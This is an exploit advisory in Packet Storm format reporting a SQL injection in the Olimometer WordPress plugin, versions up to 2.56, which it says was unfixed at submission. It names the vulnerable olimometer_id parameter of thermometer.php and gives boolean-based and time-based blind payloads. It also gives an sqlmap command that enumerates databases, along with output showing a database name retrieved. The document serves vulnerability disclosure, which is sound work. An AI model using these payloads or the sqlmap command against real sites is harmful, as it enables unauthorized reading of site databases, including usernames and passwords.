WordPress Olimometer 2.56 SQL Injection

2016-11-25T00:00:00
ID PACKETSTORM:139921
Type packetstorm
Reporter TAD GROUP
Modified 2016-11-25T00:00:00

Description

                                        
                                            `# Exploit Title: Olimometer Plugin for WordPress a Sql Injection  
# Date: 14/11/2016  
# Exploit Author: TAD GROUP  
# Vendor Homepage: https://wordpress.org/plugins/olimometer/  
# Software Link: https://wordpress.org/plugins/olimometer/  
# Contact: info@tad.bg  
# Website: http://tad.bg <https://tad.bg/en/>  
# Category: Web Application Exploits  
# Tested on: Debian 8  
  
  
1 - Description  
  
# Vulnerable parameter: olimometer_id=  
  
Parameter: olimometer_id (GET)  
Type: boolean-based blind  
Title: AND boolean-based blind - WHERE or HAVING clause  
Payload: olimometer_id=1 AND 6227=6227  
  
Type: AND/OR time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind  
Payload: olimometer_id=1 AND SLEEP(5)  
  
Using GET SQL Method with the "olimometer_id" parameter, we were able to  
get the database name from the EXAMPLE.COM website . By further running  
SQL Map using different arguments, we would be able to get the complete  
database, including usernames and passwords if there are such.  
  
2. Proof of Concept  
  
Using the website EXAMPLE.COM for example, we can fire up sqlmap and set  
the full path to the vulnerable parameter:  
  
root@kali:~# sqlmap -u  
http://EXAMPLE.COM/wp-content/plugins/olimometer/thermometer.php?olimometer_  
id=1  
--dbs --threads=5 --random-agent --no-cast  
  
---  
Parameter: olimometer_id (GET)  
Type: boolean-based blind  
Title: AND boolean-based blind - WHERE or HAVING clause  
Payload: olimometer_id=1 AND 6227=6227  
  
Type: AND/OR time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind  
Payload: olimometer_id=1 AND SLEEP(5)  
---  
[11:14:21] [INFO] the back-end DBMS is MySQL  
web application technology: Nginx  
back-end DBMS: MySQL >= 5.0.12  
[11:14:21] [INFO] fetching database names  
[11:14:21] [INFO] fetching number of databases  
[11:14:21] [INFO] retrieved:  
[11:14:21] [WARNING] multi-threading is considered unsafe in time-based  
data retrieval. Going to switch it off automatically  
[11:14:21] [WARNING] (case) time-based comparison requires larger  
statistical model, please wait.............................. (done)  
[11:14:26] [WARNING] it is very important to not stress the network  
adapter during usage of time-based payloads to prevent potential disruptions  
[11:14:26] [ERROR] unable to retrieve the number of databases  
[11:14:26] [INFO] falling back to current database  
[11:14:26] [INFO] fetching current database  
[11:14:26] [INFO] retrieving the length of query output  
[11:14:26] [INFO] retrieved:  
[11:14:28] [INFO] heuristics detected web page charset 'ascii'  
14  
[11:15:26] [INFO] retrieved: *****_wrdp1  
available databases [1]:  
[*] *****_wrdp1  
  
We can see that we have successfully discovered one available database  
with the name: "*****_wrdp1"  
  
3. Type of vulnerability:  
  
An SQL Injection vulnerability in Olimometer allows attackers to read  
arbitrary data from the database.  
  
4. Exploitation vector:  
  
The url parameter 'olimometer_id=' of the  
/wp-content/plugins/olimometer/thermometer.php?olimometer_id=1 is  
vulnerable to SQLI.  
  
5. Attack outcome:  
  
An attacker can read arbitrary data from the database. If the webserver  
is misconfigured, read & write access the filesystem may be possible.  
  
6. Impact:  
  
Critical  
  
7. Software/Product name:  
  
Olimometer Plugin for WordPress  
  
8. Affected versions:  
  
<= 2.56  
  
9. Fixed in version:  
  
Not fixed at the date of submitting that exploit.  
  
10. Vendor:  
  
oshingler  
  
11. CVE number:  
  
Not existing  
  
`